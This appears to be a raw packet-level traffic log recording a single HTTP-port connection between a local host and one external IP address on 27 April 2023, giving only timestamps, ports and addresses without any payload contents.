Apr 27, 2023 07:41:55.082555056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.082585096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.082593918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.082622051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.082639933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.082672119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.104290962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.104389906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.104398012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.104444981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.104456902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.104485035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.104500055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.104541063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.105772018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.105823040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.105844975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.105870008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.105880976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.105906963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.105923891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.105961084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.109046936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.109095097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.109174013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.109184027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.109208107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.109217882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.109241962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.109253883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.109262943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.109291077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.109307051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.109344006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.132560968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.132663965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.132724047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.132746935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.132746935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.132792950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.132801056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.132853031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.133822918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.133892059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.133917093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.133956909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.133964062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.134006023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.134015083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.134068012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.138966084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.139056921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.139077902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.139118910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.139121056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.139164925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.139178991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.139220953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.140532017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.140582085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.140625954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.140640974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.140645027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.140686035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.140697956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.140742064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.140743971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.140789986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.140799046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.140845060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.142201900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.142290115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.142292976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.142349005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.142350912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.142390966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.142405033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.142446041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.142451048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.142493010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.142502069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.142548084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.145920992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.146023989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.146081924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.146117926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.146117926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.146127939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.146178961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.146178961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.147156954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.147205114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.147238970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.147258997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.147264004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.147320032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.147321939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.147367001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.147376060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.147423983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.150825977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.150902987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.150903940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.150968075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.150985956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.151036978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.151043892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.151098013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.152384996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.152453899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.152496099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.152498007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.152523041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.152554035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.152575016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.152601004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.152607918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.152657032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.154249907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.154314995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.154330969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.154371977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.154371977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.154418945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.154432058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.154474974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.172931910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.172998905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.173017979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.173058033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.173062086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.173105001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.173127890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.173156023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.174494028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.174561977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.174582958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.174623013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.174657106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.174706936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.174740076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.174765110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.174777031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.174812078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.174823999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.174869061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.178081989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.178129911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.178173065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.178189039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.178198099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.178241014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.178247929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.178293943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.178306103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.178350925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.179724932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.179790974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.179832935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.179848909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.179857969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.179894924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.179908991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.179954052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.181327105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.181392908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.181438923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.181448936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.181448936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.181495905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.181497097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.181543112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.181555033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.181602001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.212920904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.212990999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.213027954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.213049889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.213061094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.213099003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.213125944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.213154078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.216909885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.216959000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217016935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217030048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217052937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217097044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217111111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217150927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217175007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217216015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217705011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217752934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217819929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217834949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217835903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217885017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217885017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.217951059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.217984915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.218036890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.218055964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.218101025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.224530935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.224616051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.224648952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.224680901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.224684000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.224750996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.224756002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.224803925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.224818945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.224872112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.226161003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.226228952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.226239920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.226294041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.226294994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.226346016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.226360083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.226411104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.227870941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.227936983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.227974892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.227993965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.228028059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.228055954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.228416920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.228466988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.228494883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.228528976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.229505062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.229568958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.229593039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.229634047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.229635000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.229686022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.229701042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.229751110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.232645035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.232708931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.232742071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.232779980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.232783079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.232831955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.232845068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.232894897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.234478951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.234549046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.234613895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.234615088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.234615088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.234667063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.234683037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.234734058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.237695932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.237782001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.237804890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.237852097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.237859011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.237915993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.237916946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.237967968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.237982035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.238033056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.239748955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.239814043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.239881039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.239881992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.239903927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.239936113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.239947081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.239995956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.241596937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.241662979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.241677999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.241725922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.241728067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.241779089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.241792917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.241843939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.260071993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.260128021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.260229111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.260232925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.260294914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.260296106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.260302067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.260365963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.260374069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.260437965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.261833906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.261898041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.261956930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.261961937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.262017012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.262023926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.262023926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.262083054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.265113115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.265163898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.265233040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.265233994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.265284061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.265295029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.265295982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.265347958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.265350103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.265398979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.265410900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.265465975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.288348913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.288407087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.288508892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.288513899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.288551092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.288578987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.288587093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.288639069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.288650990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.288714886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.289793968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.289841890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.289900064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.289907932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.289973021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.289973021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.289975882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.290028095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.290040016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.290080070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.290093899 CEST	49697	80	192.168.2.3	85.192.63.15
